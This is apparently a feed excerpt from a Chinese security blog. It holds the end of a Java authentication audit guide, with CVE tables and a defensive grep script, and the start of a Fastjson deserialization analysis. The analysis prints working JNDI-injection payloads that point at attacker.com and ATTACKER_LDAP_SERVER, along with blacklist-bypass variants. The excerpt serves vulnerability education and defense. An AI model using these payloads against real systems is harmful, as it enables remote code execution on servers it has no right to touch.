Filter implements Filter、doFilter() web.xml 或 @WebFilter 自定义 Interceptor implements HandlerInterceptor、preHandle() WebMvcConfigurer 1.1 框架选型指南 场景 推荐框架 原因 企业级 Web 应用 Spring Security 生态成熟，与 Spring Boot 无缝集成 轻量级/非 Spring 项目 Apache Shiro 配置简单，无 Spring 依赖 RESTful API JWT + Spring Security 无状态，适合分布式和移动端 遗留系统（Servlet 2.x） 自定义 Filter 不引入额外依赖 微服务网关层 OAuth2 + Spring Security 统一认证，Token 中继 审计优先级的经验法则：自定义 Filter/Interceptor 实现的认证系统出问题的概率最高，因为缺少框架的成熟保护机制。 二、高危组件版本速查 版本是安全审计的第一关。以下组件版本存在已知漏洞，必须升级： 组件 漏洞版本 关键 CVE CVSS 风险 Shiro &lt; 1.2.5 CVE-2016-4437 9.8 rememberMe RCE Shiro 1.2.5 ~ 1.4.1 SHIRO-721 9.8 Padding Oracle RCE Shiro &lt; 1.11.0 CVE-2023-22602 7.5 路径绕过 Spring Security &lt; 5.7.12 CVE-2024-22257 8.2 授权绕过 Spring Security 6.4.0 ~ 6.4.3 CVE-2025-22223 7.5 @PreAuthorize 绕过 Spring Security &lt; 6.3.8 / 6.4.4 CVE-2025-22228 7.5 BCrypt 认证绕过 Spring Security &lt; 6.3.8 / 6.4.4 CVE-2025-22235 7.3 Actuator 绕过 Spring Security 7 &lt; 7.0.5 CVE-2026-22753 7.5 访问控制绕过 JJWT &lt; 0.12.6 CVE-2024-31033 5.3 密钥弱化 Tomcat &lt; 9.0.90 CVE-2025-24813 9.8 路径等价 RCE Fastjson &lt; 1.2.83 CVE-2022-25845 8.1 反序列化 RCE 检测命令： # 查找依赖版本 grep -A1 "shiro" pom.xml | grep version grep -A1 "spring-security" pom.xml | grep version grep -A1 "jjwt" pom.xml | grep version grep -A1 "fastjson" pom.xml | grep version # 扫描 JAR 文件 find . -name "shiro-core-*.jar" -o -name "spring-security-core-*.jar" find . -name "fastjson-*.jar" -o -name "jjwt-*.jar" 2.1 漏洞优先级判断 代码审计中发现组件版本不安全的判断逻辑： 发现低版本组件 │ ├── CVSS ≥ 9.0 且可远程利用 → 立即报告，P0 │ 例：Shiro 1.2.4 (CVE-2016-4437, 9.8) │ ├── CVSS ≥ 7.0 且需特定配置 → 确认配置条件后报告，P1 │ 例：Spring Security BCrypt (CVE-2025-22228, 7.5) │ └── CVSS &lt; 7.0 或仅本地利用 → 记录但不阻塞上线，P2 例：JJWT 密钥弱化 (CVE-2024-31033, 5.3) 三、安全加固检查清单 检查项 风险 操作 详见 web.ignoring() 使用 🔴 替换为 permitAll() [Spring Security篇] @EnableMethodSecurity 🔴 SS 6.x 需 @EnableMethodSecurity；SS 5.x 需 @EnableGlobalMethodSecurity(prePostEnabled=true) [Spring Security篇] rememberMe 密钥 🔴 确认非硬编码，使用强随机密钥 [Shiro篇] Shiro 版本 🔴 ≥ 1.13.0 或 2.0.0+ [Shiro篇] jwsAlgorithm 白名单 🔴 只接受单一算法（RS256/ES256） [JWT篇] parseClaimsJws vs parseClaimsJwt 🔴 确保始终使用带签名的版本 [JWT篇] BCrypt 版本 🟡 spring-security-crypto ≥ 6.3.8 [Spring Security篇] Actuator 暴露 🟡 独立端口 + 认证 + 最小暴露 [Spring Security篇] Session Fixation 🟡 migrateSession() 或 newSession() [会话管理篇] Cookie Secure/HttpOnly 🟡 确认已设置 [会话管理篇] CORS 白名单 🟡 不出现 * + allowCredentials=true [Spring Security篇] 密码最小长度限制 🟡 限制 ≤ 72 字符（BCrypt 限制） [Spring Security篇] Token 过期时间 🟡 Access Token ≤ 15 分钟 [JWT篇] 路径匹配 🟡 使用 getServletPath() 而非 getRequestURI() [绕过模式篇] preHandle 授权检查 🟡 不能只认证不授权就 return true [绕过模式篇] HTTPS 强制 🟡 requiresSecure() [Spring Security篇] Redis 认证密码 🟡 生产环境必须设置 [会话管理篇] 安全响应头 🟢 CSP、XSS-Protection、X-Frame-Options [Spring Security篇] 错误信息 🟢 不向前端暴露框架/版本信息 全部 四、快速审计脚本 将此脚本放入项目根目录执行，可快速发现高危配置： #!/bin/bash # Java Web 认证授权快速审计脚本 # 用法：bash audit.sh /path/to/project TARGET_DIR="${1:-.}" echo "╔══════════════════════════════════╗" echo "║ Java Web 认证授权审计 ║" echo "╚══════════════════════════════════╝" echo "目标: $TARGET_DIR" echo "" # ========== 1. 依赖版本检查 ========== echo "┌── 依赖版本检查 ──────────────────┐" echo "[*] Shiro 版本：" grep -r "shiro" "$TARGET_DIR"/pom.xml 2&gt;/dev/null | grep -E "version|&lt;shiro" || echo " 未检测到 Shiro 依赖" fgrep -r "shiro-core-" "$TARGET_DIR" --include="*.jar" 2&gt;/dev/null | head -5 echo "" echo "[*] Spring Security 版本：" grep -r "spring-security" "$TARGET_DIR"/pom.xml 2&gt;/dev/null | grep -E "version|&lt;spring-security" || echo " 未检测到 Spring Security 依赖" echo "" echo "[*] JWT 库版本：" grep -r "jjwt\|io.jsonwebtoken" "$TARGET_DIR"/pom.xml 2&gt;/dev/null | grep version || echo " 未检测到 JWT 依赖" echo "" echo "[*] Fastjson 版本（高危组件）：" grep -r "fastjson" "$TARGET_DIR"/pom.xml 2&gt;/dev/null | grep version || echo " 未检测到 Fastjson 依赖" # ========== 2. 高危配置模式 ========== echo "" echo "┌── 高危配置模式 ──────────────────┐" echo "[*] web.ignoring() 使用（路径完全移除安全）：" grep -rn "web\.ignoring()\|WebSecurityCustomizer" "$TARGET_DIR" --include="*.java" 2&gt;/dev/null || echo " 未发现" echo "" echo "[*] rememberMe 硬编码密钥（CVE-2016-4437）：" grep -rn "DEFAULT_CIPHER_KEY\|kPH\+bIxk" "$TARGET_DIR" --include="*.java" --include="*.ini" 2&gt;/dev/null || echo " 未发现硬编码密钥" echo "" echo "[*] parseClaimsJwt（无签名验证）：" grep -rn "parseClaimsJwt" "$TARGET_DIR" --include="*.java" 2&gt;/dev/null &amp;&amp; echo " ⚠️ 警告：parseClaimsJwt 不验证签名，请改用 parseClaimsJws" || echo " 未发现" echo "" echo "[*] @EnableMethodSecurity / @EnableGlobalMethodSecurity 缺失检查：" # 有 @EnableWebSecurity 但没有启用方法安全注解的配置类 grep -rl "@EnableWebSecurity" "$TARGET_DIR" --include="*.java" 2&gt;/dev/null | while read f; do grep -q "@EnableMethodSecurity\|@EnableGlobalMethodSecurity" "$f" || echo " ⚠️ 文件 $f 有 @EnableWebSecurity 但缺少 @EnableMethodSecurity / @EnableGlobalMethodSecurity" done echo "" echo "[*] preHandle 只认证不授权（return true 无角色检查）：" grep -rn "preHandle" "$TARGET_DIR" --include="*.java" -A5 2&gt;/dev/null | grep "return true" | head -10 grep -rn "getRequestURI.*endsWith\|getRequestURI.*contains\|getRequestURI.*startsWith" "$TARGET_DIR" --include="*.java" 2&gt;/dev/null &amp;&amp; echo " ⚠️ 警告：getRequestURI() + 后缀匹配可被分号绕过" || echo " 未发现" # ========== 3. 密钥与凭证泄露 ========== echo "" echo "┌── 密钥与凭证泄露 ────────────────┐" echo "[*] 代码中的密钥硬编码：" grep -rn "secretKey\|privateKey\|SECRET\|password\s*=" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2&gt;/dev/null | grep -v "test\|mock\|example\|#\|//" | head -5 echo "" echo "[*] Redis 密码配置：" grep -rn "redis.*password\|spring.redis.password" "$TARGET_DIR" --include="*.properties" --include="*.yml" 2&gt;/dev/null || echo " 未配置 Redis 密码（仅本地开发可接受）" # ========== 4. JWT 配置检查 ========== echo "" echo "┌── JWT 配置检查 ─────────────────┐" echo "[*] JWT 算法白名单：" grep -rn "jwsAlgorithms\|JWSAlgorithm\|SignatureAlgorithm" "$TARGET_DIR" --include="*.java" 2&gt;/dev/null || echo " 未发现算法配置" echo "" echo "[*] JWT 过期时间配置：" grep -rn "setExpiration\|expiration.*time\|jwt.*expir" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2&gt;/dev/null | head -5 echo "" echo "╔══════════════════════════════════╗" echo "║ 审计完成 ║" echo "╚══════════════════════════════════╝" echo "" echo "详细分析请参考系列文章：" echo " Spring Security → Spring Security 安全配置篇" echo " Shiro → Apache Shiro 安全配置篇" echo " JWT → JWT 认证安全实践篇" echo " preHandle Bypass → 鉴权绕过模式篇" 五、总结 Java Web 认证授权的安全问题主要集中在三个层面： 1. 框架误配置（占比最高） web.ignoring() 完全移除安全机制 vs permitAll() 仅跳过认证 @EnableMethodSecurity 忘记启用导致注解静默失效 过滤器链顺序错误导致精细规则被宽泛规则覆盖 2. 组件漏洞（影响最大） Shiro rememberMe 硬编码密钥 (CVE-2016-4437) — CVSS 9.8，一击必杀 Shiro 路径绕过系列 — 从 1.2.x 到 1.11.0，持续数年 Spring Security BCrypt 截断、参数化类型注解丢失等 3. 业务逻辑缺陷（最难发现） preHandle 只认证不授权：登录即 return true，无角色/权限校验 getRequestURI() + 后缀匹配白名单：;.js / ../ 轻松绕过 URI 解析差异导致鉴权绕过（getRequestURI() vs getServletPath()） JWT 算法混淆、签名验证缺失 水平/垂直越权（IDOR） 防御原则： 纵深防御：不依赖单层保护，Filter → Interceptor → AOP 层层把关 认证+授权必须同时存在：preHandle 不能只检查登录状态就 return true 最小权限：每个接口只授予完成功能所需的最小权限 持续更新：框架和依赖保持最新，关注安全公告 审计驱动：使用本文提供的脚本定期扫描危险模式 安全默认：Cookie 必须 Secure + HttpOnly + SameSite，Token 必须短过期 + 签名验证 没有银弹，只有持续的关注和不断的加固。 参考资源 Spring Security 官方文档 Apache Shiro 安全公告 OWASP Authentication Cheat Sheet OWASP Authorization Cheat Sheet JWT Security Best Practices (RFC 8725) CVE-2016-4437 Shiro rememberMe 反序列化 Spring Security CVE 公告 JJWT GitHub 免责声明：本文仅供安全研究和学习交流使用，请勿用于非法用途。对他人系统进行未授权的渗透测试属于违法行为。]]></summary></entry><entry><title type="html">Fastjson反序列化漏洞深度剖析</title><link href="https://djiangliu.github.io/%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2026/02/16/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/" rel="alternate" type="text/html" title="Fastjson反序列化漏洞深度剖析" /><published>2026-02-16T02:00:00+00:00</published><updated>2026-02-16T02:00:00+00:00</updated><id>https://djiangliu.github.io/%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2026/02/16/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90</id><content type="html" xml:base="https://djiangliu.github.io/%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2026/02/16/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/"><![CDATA[<h1 id="fastjson反序列化漏洞深度剖析">Fastjson反序列化漏洞深度剖析</h1>

<h2 id="摘要">摘要</h2>

<p>Fastjson是阿里巴巴开源的Java语言开发的JSON处理器，因其高性能和易用性，在Java生态系统中被广泛使用。然而，Fastjson也因其反序列化机制，多次被爆出严重的安全漏洞，允许攻击者执行任意代码（RCE）。本文将深入剖析Fastjson反序列化漏洞的原理、攻击方式，并提供防御措施。</p>

<h2 id="1-什么是fastjson">1. 什么是Fastjson？</h2>

<p>Fastjson是一个Java库，用于在Java对象和JSON数据之间进行转换。它提供<code class="language-plaintext highlighter-rouge">toJSONString()</code>方法将Java对象序列化为JSON字符串，以及<code class="language-plaintext highlighter-rouge">parseObject()</code>和<code class="language-plaintext highlighter-rouge">parseArray()</code>等方法将JSON字符串反序列化为Java对象。</p>

<h2 id="2-反序列化漏洞概述">2. 反序列化漏洞概述</h2>

<p>反序列化漏洞是指程序在处理不可信用户输入的反序列化数据时，由于没有对数据进行严格的校验，导致攻击者可以通过构造恶意的序列化数据，在目标系统上执行任意代码或造成其他危害。</p>

<h2 id="3-fastjson反序列化漏洞原理">3. Fastjson反序列化漏洞原理</h2>

<p>Fastjson在反序列化时，特别是当使用<code class="language-plaintext highlighter-rouge">parseObject(json_string, Object.class)</code>或<code class="language-plaintext highlighter-rouge">JSON.parse(json_string)</code>等方法，并且JSON字符串中包含<code class="language-plaintext highlighter-rouge">@type</code>字段时，Fastjson会根据<code class="language-plaintext highlighter-rouge">@type</code>字段指定的类名去实例化对应的类。如果攻击者能够控制<code class="language-plaintext highlighter-rouge">@type</code>字段的值，并指定一个恶意类（例如，一个可以在构造函数或特定方法中执行命令的类），那么在Fastjson尝试实例化该类时，就会触发恶意代码的执行。</p>

<p>— <strong>漏洞成因深度剖析</strong> —</p>

<p>Fastjson反序列化漏洞的根本原因在于其核心的<strong><code class="language-plaintext highlighter-rouge">AutoType</code>（自动类型）机制</strong>。为了在序列化和反序列化过程中保留Java对象的完整类型信息，Fastjson允许在JSON字符串中添加一个<code class="language-plaintext highlighter-rouge">@type</code>字段来指定对象的具体类型。当Fastjson进行反序列化操作时，如果检测到<code class="language-plaintext highlighter-rouge">@type</code>字段，它会：</p>

<ol>
  <li><strong>动态加载类</strong>：使用Java的反射机制，根据<code class="language-plaintext highlighter-rouge">@type</code>字段中指定的完整类名（如<code class="language-plaintext highlighter-rouge">com.sun.rowset.JdbcRowSetImpl</code>），动态地加载对应的Class对象。</li>
  <li><strong>实例化对象</strong>：通过反射调用该类的无参构造函数（如果存在）来实例化一个对象。</li>
  <li><strong>调用Setter方法</strong>：将JSON中对应字段的值，通过反射调用该实例化对象的setter方法进行赋值。</li>
</ol>

<p>问题在于，<strong>Fastjson在早期版本中默认信任并动态加载了来自不可信源的任意类</strong>。当攻击者能够控制<code class="language-plaintext highlighter-rouge">@type</code>字段的值时，他们就可以指定任何存在于应用classpath中的类。如果这个被指定的类在实例化或其setter方法被调用时会产生副作用（例如，触发JNDI查找、执行系统命令等），那么攻击者就可以利用这种机制，在反序列化过程中执行任意代码，从而造成远程代码执行（RCE）。</p>

<h3 id="31-攻击链分析">3.1 攻击链分析</h3>

<p>典型的Fastjson反序列化攻击链如下：</p>

<ol>
  <li><strong>寻找可利用的Gadget</strong>：攻击者需要找到一个在反序列化过程中会被调用，并且能够执行恶意操作的Java类和方法（称为Gadget）。这些Gadget通常是JDK自带的类或常用第三方库中的类。</li>
  <li><strong>构造恶意JSON数据</strong>：攻击者构造包含<code class="language-plaintext highlighter-rouge">@type</code>字段和恶意数据（如JNDI连接、URLClassloader等）的JSON字符串。
    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"your_key"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ldap://attacker.com:1389/Exploit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>
    <p>或（更直接的<code class="language-plaintext highlighter-rouge">@type</code>利用方式）</p>
    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="s2">"java.lang.Class"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"val"</span><span class="p">:</span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="s2">"ldap://attacker.com:1389/Exploit"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>
  </li>
  <li><strong>发送恶意JSON数据</strong>：将构造好的JSON数据发送给使用Fastjson进行反序列化的目标应用。</li>
  <li><strong>Fastjson反序列化触发</strong>：目标应用使用Fastjson对恶意JSON数据进行反序列化，识别到<code class="language-plaintext highlighter-rouge">@type</code>字段后，尝试加载并实例化指定的恶意类。</li>
  <li><strong>恶意代码执行</strong>：在恶意类的实例化或特定方法调用过程中，触发攻击者预设的恶意操作，例如通过JNDI加载远程类并执行其中的代码。</li>
</ol>

<p>— <strong>完整的调用链示例：基于<code class="language-plaintext highlighter-rouge">com.sun.rowset.JdbcRowSetImpl</code>的JNDI注入</strong> —</p>

<p>为了更直观地理解Fastjson反序列化导致RCE的完整过程，我们以一个经典的<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>作为Gadget，结合JNDI注入，来详细剖析其内部调用链。</p>

<p><strong>恶意JSON Payload:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ldap://attacker.com:1389/Exploit"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>内部调用流程解析：</strong></p>

<ol>
  <li><strong>Fastjson解析<code class="language-plaintext highlighter-rouge">@type</code>字段</strong>：当Fastjson接收到上述JSON字符串并尝试反序列化时，首先会解析到<code class="language-plaintext highlighter-rouge">"@type": "com.sun.rowset.JdbcRowSetImpl"</code>。</li>
  <li><strong>加载并实例化<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code></strong>：
    <ul>
      <li>Fastjson利用反射机制，通过<code class="language-plaintext highlighter-rouge">Class.forName("com.sun.rowset.JdbcRowSetImpl")</code>加载<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>类。</li>
      <li>随后，调用其无参构造函数<code class="language-plaintext highlighter-rouge">new com.sun.rowset.JdbcRowSetImpl()</code>，创建一个<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>实例。</li>
    </ul>
  </li>
  <li><strong>调用Setter方法进行属性赋值</strong>：
    <ul>
      <li>Fastjson继续解析JSON中其余字段。遇到<code class="language-plaintext highlighter-rouge">"dataSourceName": "ldap://attacker.com:1389/Exploit"</code>时，会调用<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>实例的<code class="language-plaintext highlighter-rouge">setDataSourceName("ldap://attacker.com:1389/Exploit")</code>方法，将JNDI地址设置进去。</li>
      <li>遇到<code class="language-plaintext highlighter-rouge">"autoCommit": true</code>时，Fastjson会调用<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>实例的<code class="language-plaintext highlighter-rouge">setAutoCommit(true)</code>方法。</li>
    </ul>
  </li>
  <li><strong>触发JNDI查找</strong>：
    <ul>
      <li><code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>类中的<code class="language-plaintext highlighter-rouge">setAutoCommit(boolean)</code>方法有一个特性：当其参数为<code class="language-plaintext highlighter-rouge">true</code>时，内部会隐式调用<code class="language-plaintext highlighter-rouge">connect()</code>方法。</li>
      <li><code class="language-plaintext highlighter-rouge">connect()</code>方法会尝试建立数据库连接。在建立连接之前，它会使用<code class="language-plaintext highlighter-rouge">dataSourceName</code>属性来查找数据源。由于<code class="language-plaintext highlighter-rouge">dataSourceName</code>被设置为<code class="language-plaintext highlighter-rouge">ldap://attacker.com:1389/Exploit</code>，<code class="language-plaintext highlighter-rouge">connect()</code>方法会触发一次JNDI查找，尝试从LDAP服务器<code class="language-plaintext highlighter-rouge">attacker.com:1389</code>获取名为<code class="language-plaintext highlighter-rouge">Exploit</code>的对象。</li>
    </ul>
  </li>
  <li><strong>恶意LDAP服务器响应</strong>：
    <ul>
      <li>攻击者在<code class="language-plaintext highlighter-rouge">attacker.com:1389</code>上搭建了一个恶意的LDAP服务器。当接收到目标应用的JNDI查找请求时，恶意LDAP服务器会返回一个恶意的<code class="language-plaintext highlighter-rouge">Reference</code>对象。</li>
      <li>这个<code class="language-plaintext highlighter-rouge">Reference</code>对象通常指向一个由攻击者控制的Web服务器上的Java类文件（例如，<code class="language-plaintext highlighter-rouge">http://attacker.com/Exploit.class</code>）。</li>
    </ul>
  </li>
  <li><strong>加载并执行恶意类</strong>：
    <ul>
      <li>目标应用在接收到恶意的<code class="language-plaintext highlighter-rouge">Reference</code>对象后，会根据其中指定的URL，尝试从攻击者的Web服务器下载<code class="language-plaintext highlighter-rouge">Exploit.class</code>文件。</li>
      <li>下载后，Java虚拟机（JVM）会加载并实例化这个<code class="language-plaintext highlighter-rouge">Exploit</code>类。如果<code class="language-plaintext highlighter-rouge">Exploit</code>类在其构造函数或静态代码块中包含恶意代码（如<code class="language-plaintext highlighter-rouge">Runtime.exec("command")</code>），则这些代码会在目标服务器上执行，从而实现RCE。</li>
    </ul>
  </li>
</ol>

<p>整个链条利用了Fastjson的<code class="language-plaintext highlighter-rouge">AutoType</code>机制，结合JDK内置类的特殊行为（Gadget）和JNDI服务的特性，最终实现了远程代码执行。这个过程无需程序显式地调用任何敏感方法，仅通过反序列化即可完成。</p>

<h2 id="4-历史版本漏洞及攻击payload示例">4. 历史版本漏洞及攻击Payload示例</h2>

<p>本节将列举Fastjson历史上著名的漏洞版本及其对应的攻击Payload示例，展现其防护机制与绕过手法的演进。</p>

<h3 id="41-fastjson-1224以下版本jndi注入的狂欢">4.1 Fastjson 1.2.24以下版本：JNDI注入的狂欢</h3>

<p>在Fastjson 1.2.24及更早版本中，<code class="language-plaintext highlighter-rouge">AutoType</code>机制默认是开启的，并且没有任何黑名单或白名单的限制。这意味着攻击者可以指定任意存在于classpath中的类进行加载和实例化。结合Java的JNDI（Java Naming and Directory Interface）功能，攻击者可以轻易地利用一些JDK内置的、具备JNDI查找能力的类（Gadget）实现远程代码执行。</p>

<p><strong>典型Payload示例：利用<code class="language-plaintext highlighter-rouge">com.sun.rowset.JdbcRowSetImpl</code></strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><strong>说明</strong>：当Fastjson反序列化此Payload时，会实例化<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>对象，并通过<code class="language-plaintext highlighter-rouge">setDataSourceName</code>设置LDAP服务器地址，<code class="language-plaintext highlighter-rouge">autoCommit</code>设置为<code class="language-plaintext highlighter-rouge">true</code>会触发<code class="language-plaintext highlighter-rouge">connect()</code>方法，进而执行JNDI查找，最终从<code class="language-plaintext highlighter-rouge">[ATTACKER_LDAP_SERVER]</code>加载并执行恶意类。</p>

<h3 id="42-fastjson-1225---1247版本autotype黑名单与bypass">4.2 Fastjson 1.2.25 - 1.2.47版本：AutoType黑名单与Bypass</h3>

<p>为了修复1.2.24版本之前的RCE问题，Fastjson在1.2.25版本引入了<code class="language-plaintext highlighter-rouge">AutoType</code>的黑名单机制，试图阻止一些已知危险类的加载。然而，安全研究人员很快发现，通过构造特殊的JSON格式，可以绕过这些黑名单限制。</p>

<p><strong>典型Payload示例：利用<code class="language-plaintext highlighter-rouge">L</code>前缀或<code class="language-plaintext highlighter-rouge">[[</code>绕过黑名单</strong></p>

<p>例如，利用<code class="language-plaintext highlighter-rouge">L</code>前缀可以绕过对<code class="language-plaintext highlighter-rouge">com.sun.rowset.JdbcRowSetImpl</code>的直接限制：</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Lcom.sun.rowset.JdbcRowSetImpl;"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><strong>说明</strong>：Fastjson在进行黑名单校验时，可能只对完整的类名进行匹配，而Java类型描述符中的<code class="language-plaintext highlighter-rouge">L&lt;ClassName&gt;;</code>形式，或者<code class="language-plaintext highlighter-rouge">[[&lt;ClassName&gt;</code>形式（表示数组类型）能够成功绕过黑名单的校验逻辑，从而达到加载被禁类的目的。</p>

<h3 id="43-fastjson-1248---1268版本更加严格的黑名单与更复杂的bypass">4.3 Fastjson 1.2.48 - 1.2.68版本：更加严格的黑名单与更复杂的Bypass</h3>

<p>随着绕过技术的不断出现，Fastjson不断加强黑名单的覆盖范围和匹配逻辑。但是，攻击者也找到了更多巧妙的Bypass方法，例如利用<code class="language-plaintext highlighter-rouge">java.lang.Class</code>来间接引用危险类，或者利用其他不在黑名单中的Gadget。</p>

<p><strong>典型Payload示例：利用<code class="language-plaintext highlighter-rouge">java.lang.Class</code>间接引用</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"java.lang.Class"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"val"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="nl">"@type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"com.sun.rowset.JdbcRowSetImpl"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"dataSourceName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"autoCommit"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><strong>说明</strong>：这种方式先通过<code class="language-plaintext highlighter-rouge">java.lang.Class</code>类型将<code class="language-plaintext highlighter-rouge">JdbcRowSetImpl</code>加载到 JVM 的缓存中，之后第二次反序列化时，Fastjson 会直接从缓存中获取该类，从而绕过黑名单的检测。</p>

<h3 id="44-fastjson-1268及更高版本safemode与强力防护">4.4 Fastjson 1.2.68及更高版本：SafeMode与强力防护</h3>

<p>从Fastjson 1.2.68版本开始，引入了<code class="language-plaintext highlighter-rouge">SafeMode</code>模式，这是Fastjson对反序列化漏洞防护的一个里程碑式改进。当启用<code class="language-plaintext highlighter-rouge">SafeMode</code>时：</p>

<ul>
  <li><strong>默认禁用AutoType</strong>：除非显式地通过白名单配置，否则所有的<code class="language-plaintext highlighter-rouge">@type</code>字段都将被忽略。这大大减少了攻击面。</li>
  <li><strong>黑名单增强</strong>：即使在非<code class="language-plaintext highlighter-rouge">SafeMode</code>下，也持续更新并强化了内部黑名单。</li>
</ul>

<p><strong>SafeMode的重要性</strong>：启用<code class="language-plaintext highlighter-rouge">SafeMode</code>后，Fastjson反序列化攻击的难度大幅增加。攻击者需要发现新的、未被Fastjson内置黑名单覆盖且在白名单之外的Gadget才能进行攻击，这在实践中极为困难。<strong>强烈推荐所有Fastjson用户开启<code class="language-plaintext highlighter-rouge">SafeMode</code>。</strong></p>

<h3 id="45-fastjson-1280版本持续强化与默认安全">4.5 Fastjson 1.2.80+版本：持续强化与默认安全</h3>

<p>在Fastjson 1.2.80及更高版本中，Fastjson的安全性得到了进一步的强化，主要体现在：</p>

<ul>
  <li><strong>默认配置更安全</strong>：默认情况下，<code class="language-plaintext highlighter-rouge">AutoType</code>是关闭的，<code class="language-plaintext highlighter-rouge">SafeMode</code>可能被激活或其安全特性被集成。</li>
  <li><strong>白名单机制优化</strong>：在需要开启<code class="language-plaintext highlighter-rouge">AutoType</code>的场景下，白名单机制得到了优化，要求配置更加严格和明确。</li>
  <li><strong>持续漏洞修复</strong>：针对发现的任何潜在漏洞，官方团队会迅速发布补丁。</li>
</ul>

<p>总而言之，Fastjson的防护策略从最初的无限制，到黑名单，再到默认禁用<code class="language-plaintext highlighter-rouge">AutoType</code>并引入<code class="language-plaintext highlighter-rouge">SafeMode</code>，以及后续持续的强化，展现了其在安全对抗上的演进。<strong>对于开发者而言，始终使用最新版本的Fastjson，并严格遵循其安全配置建议是至关重要的。</strong></p>

<h2 id="5-防御与修补措施">5. 防御与修补措施</h2>

<p>Fastjson反序列化漏洞的危害巨大，但通过采取一系列有效的防御措施，可以显著降低受攻击的风险。以下是推荐的防御与修补策略：</p>

